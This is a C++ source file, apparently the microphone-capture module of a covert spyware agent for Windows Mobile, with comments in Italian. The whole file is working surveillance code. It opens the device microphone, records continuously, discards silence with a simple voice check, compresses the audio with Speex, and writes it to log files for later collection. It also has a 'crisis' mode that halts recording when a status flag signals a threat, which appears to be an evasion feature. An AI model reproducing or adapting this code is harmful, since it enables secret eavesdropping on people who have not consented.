Mornella/Mornella_Mobile/Microphone.cpp
#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include <mmsystem.h>
#include <exception>
#include <winreg.h>
#include "CWaveForm.h"
#include "speex/speex.h"
#include "speex/speex_preprocess.h"
#include "Conf.h"
#include "Microphone.h"
#include "Device.h"
#include "Log.h"
MicAdditionalData mad;
BOOL bMicIsrecording, bUpdateTimestamp;
INT vadThreshold;
BOOL vad;
DWORD dwMicBuffInCount;
WAVEHDR tagMicWaveHdr[MIC_COUNT_BUFF];
CWaveformIn *micAgent;
DWORD mic_buffer_len = MIC_DEF_BUFFER_LEN;
DWORD mic_compress_factor = MIC_DEF_COMPRESS_FACTOR;
void MicSaveEncode(BYTE *wave, DWORD total_size) {
short *bit_sample;
void *state;
float *input;
BYTE *to_write;
BYTE *source_ptr;
BYTE *cbits;
SpeexBits bits;
DWORD frame_size = 0;
DWORD i, nbBytes;
DWORD complexity = 1;
//DWORD vad = 1;
//SpeexPreprocessState *preprocess;
// Crea un nuovo encoder in wide mode
state = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
speex_encoder_ctl(state, SPEEX_SET_QUALITY, &mic_compress_factor);
speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity);
//speex_encoder_ctl(state, SPEEX_SET_DTX, &vad); // Abilitiamo la trasmissione discontinua
//speex_encoder_ctl(state, SPEEX_SET_VAD, &vad); // Abilitiamo il VAD
speex_bits_init(&bits);
speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size);
//preprocess = speex_preprocess_state_init(frame_size, MIC_SAMPLE_RATE);
//speex_preprocess_ctl(preprocess, SPEEX_PREPROCESS_SET_VAD, &vad); // Attiviamo il VAD
if (!frame_size) {
SPEEX_FREE;
return;
}
// Allochiamo il buffer di output grande quanto quello originale (per sicurezza)
if (!(to_write = new(std::nothrow) BYTE[frame_size*MIC_SAMPLE_SIZE])) {
SPEEX_FREE;
return;
}
cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione
// Allochiamo il buffer di elaborazione
if (!(input = new(std::nothrow) FLOAT[frame_size])) {
SAFE_DELETE(to_write);
SPEEX_FREE;
return;
}
// Se il VAD e' attivo
if (vad) {
// Controlliamo che ci sia voce nel campione
SHORT sPrev = 0;
UINT uZeroCross = 0;
// wave -> wave + total_size in step di frame_Size * 2
for (source_ptr=wave; source_ptr+(frame_size*MIC_SAMPLE_SIZE)<=wave+total_size; source_ptr+=(frame_size*MIC_SAMPLE_SIZE)) {
// Copiamo i campioni a 16 bit dentro dei float
bit_sample = (short *)source_ptr;
for (i = 0; i < frame_size; i++) {
if ((INT)(sPrev * bit_sample[i]) < 0)
uZeroCross++;
sPrev = bit_sample[i];
}
}
FLOAT fCross = (float)(uZeroCross / (total_size / (frame_size * MIC_SAMPLE_SIZE)));
// Se non c'e' voce, droppiamo il campione
if (fCross >= (FLOAT)vadThreshold) {
bUpdateTimestamp = TRUE; // Il prossimo loop dobbiamo aggiornare il timestamp
SAFE_DELETE(to_write);
SAFE_DELETE(input);
SPEEX_FREE;
return;
}
}
Log log;
// Se necessario aggiorniamo il timestamp
if (bUpdateTimestamp) {
unsigned __int64 temp_time = GetTime();
mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32);
mad.fId.dwLowDateTime = (DWORD)(temp_time & 0x00000000ffffffff);
bUpdateTimestamp = FALSE;
}
if (log.CreateLog(LOGTYPE_MIC, (BYTE *)&mad, sizeof(mad), MMC1) == FALSE) {
SAFE_DELETE(to_write);
SAFE_DELETE(input);
SPEEX_FREE;
return;
}
// Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero
for (source_ptr=wave; source_ptr + (frame_size * MIC_SAMPLE_SIZE) <= wave + total_size; source_ptr += (frame_size * MIC_SAMPLE_SIZE)) {
// Copiamo i campioni a 16 bit dentro dei float
bit_sample = (short *)source_ptr;
for (i=0; i<frame_size; i++)
input[i] = bit_sample[i];
speex_bits_reset(&bits);
speex_encode(state, input, &bits);
// Encoda dentro il buffer di output
nbBytes = speex_bits_write(&bits, (char *)cbits, frame_size * MIC_SAMPLE_SIZE);
if (nbBytes > (frame_size * MIC_SAMPLE_SIZE))
continue; // Check paranoico
// Copia la lunghezza nei primi 4 byte per fare un'unica scrittura su file
CopyMemory(to_write, &nbBytes, sizeof(DWORD));
log.WriteLog(to_write, nbBytes + sizeof(DWORD));
}
log.CloseLog();
SAFE_DELETE(to_write);
SAFE_DELETE(input);
SPEEX_FREE;
}
void CALLBACK MicwaveInProc(HWAVEIN hwi, UINT uMsg, DWORD dwInstance, WAVEHDR *dwParam1, DWORD dwParam2) {
if (uMsg == MM_WIM_DATA) {
if (dwParam1->dwBytesRecorded > 0)
MicSaveEncode((BYTE *)dwParam1->lpData, dwParam1->dwBytesRecorded);
if (bMicIsrecording) {
waveInUnprepareHeader(hwi, dwParam1, sizeof(WAVEHDR));
dwParam1->dwFlags = 0;
dwParam1->dwBytesRecorded = 0;
waveInPrepareHeader(hwi, dwParam1, sizeof(WAVEHDR));
waveInAddBuffer(hwi, dwParam1, sizeof(WAVEHDR));
} else {
dwMicBuffInCount++;
}
}
}
BOOL MicRecordStop() {
if (micAgent == NULL)
return FALSE;
bMicIsrecording = FALSE;
micAgent->Reset();
// Aspetta che abbia flushato i buffer
while(dwMicBuffInCount < MIC_COUNT_BUFF)
Sleep(500);
micAgent->Close();
for (int j=0; j<MIC_COUNT_BUFF; j++) {
micAgent->UnprepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
SAFE_FREE(tagMicWaveHdr[j].lpData);
}
delete micAgent;
micAgent = NULL;
return TRUE;
}
BOOL MicRecordStart() {
WAVEFORMATEX in_pcmWaveFormat;
CWaveform wave;
UINT count = CWaveform::InGetNumDevs();
dwMicBuffInCount = 0;
for (UINT i = 0; i < count && micAgent == NULL; i++) {
WAVEINCAPS wic;
CWaveform::InGetDevCaps(i, &wic, sizeof(WAVEINCAPS));
if (wic.dwFormats & WAVE_FORMAT_1M16) {
ZeroMemory(&in_pcmWaveFormat, sizeof(WAVEFORMATEX));
CWaveform::PrepareWaveFormat(&in_pcmWaveFormat, WAVE_FORMAT_PCM, 1, MIC_SAMPLE_RATE, 16);
micAgent = wave.InOpen(i, &in_pcmWaveFormat, (DWORD_PTR) MicwaveInProc, 0, CALLBACK_FUNCTION);
}
}
if (micAgent == NULL)
return FALSE;
ZeroMemory(tagMicWaveHdr, sizeof(tagMicWaveHdr));
for (UINT j = 0; j < MIC_COUNT_BUFF; j++) {
tagMicWaveHdr[j].dwBufferLength = mic_buffer_len;
tagMicWaveHdr[j].dwLoops = 1;
// Alloca i buffer di registrazione e li prepara
if (!(tagMicWaveHdr[j].lpData = (char *)new(std::nothrow) CHAR[tagMicWaveHdr[j].dwBufferLength])) {
for (UINT k = 0; k < j; k++) {
SAFE_DELETE(tagMicWaveHdr[k].lpData);
}
micAgent->Close();
delete micAgent;
micAgent = NULL;
return FALSE;
}
}
for (UINT j = 0; j < MIC_COUNT_BUFF; j++) {
micAgent->PrepareHeader(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
micAgent->AddBuffer(&(tagMicWaveHdr[j]), sizeof(WAVEHDR));
}
bMicIsrecording = TRUE;
micAgent->Start();
return TRUE;
}
DWORD WINAPI RecordedMicrophone(LPVOID lpParam) {
Module *me = (Module *)lpParam;
Configuration *conf = me->getConf();
HANDLE eventHandle;
Device *deviceObj = Device::self();
Status *statusObj = Status::self();
BOOL bCrisis = FALSE;
bMicIsrecording = FALSE;
micAgent = NULL;
try {
vadThreshold = 50; //conf->getDouble(L"threshold");
} catch (...) {
vadThreshold = 50;
}
try {
vad = conf->getBool(L"vad");
} catch (...) {
vad = FALSE;
}
me->setStatus(MODULE_RUNNING);
eventHandle = me->getEvent();
DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module started\n", 5, FALSE);
unsigned __int64 temp_time = GetTime();
ZeroMemory(&mad, sizeof(mad));
mad.uVersion = MIC_LOG_VERSION;
mad.uSampleRate = MIC_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
mad.fId.dwHighDateTime = (DWORD)((temp_time & 0xffffffff00000000) >> 32);
mad.fId.dwLowDateTime = (DWORD)(temp_time & 0x00000000ffffffff);
bUpdateTimestamp = FALSE; // TRUE solo se passiamo dal silenzio alla voce
deviceObj->SetMicPowerState();
MicRecordStart();
LOOP {
while (bCrisis) {
DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module is in crisis\n", 6, FALSE);
WaitForSingleObject(eventHandle, 10000);
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop while in crisis [0]\n", 5, FALSE);
me->setStatus(MODULE_STOPPED);
return 0;
}
// Se la crisi e' finita...
if ((statusObj->Crisis() & CRISIS_MIC) != CRISIS_MIC) {
bCrisis = FALSE;
deviceObj->SetMicPowerState();
MicRecordStart();
DBG_TRACE(L"Debug - Microphone.cpp - RecordedMicrophoneAgent leaving crisis\n", 6, FALSE);
}
}
WaitForSingleObject(eventHandle, 10000);
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop\n", 5, FALSE);
MicRecordStop();
deviceObj->ReleaseMicPowerState();
me->setStatus(MODULE_STOPPED);
return 0;
}
if ((statusObj->Crisis() & CRISIS_MIC) == CRISIS_MIC) {
bCrisis = TRUE;
MicRecordStop();
deviceObj->ReleaseMicPowerState();
}
}
return 0;
}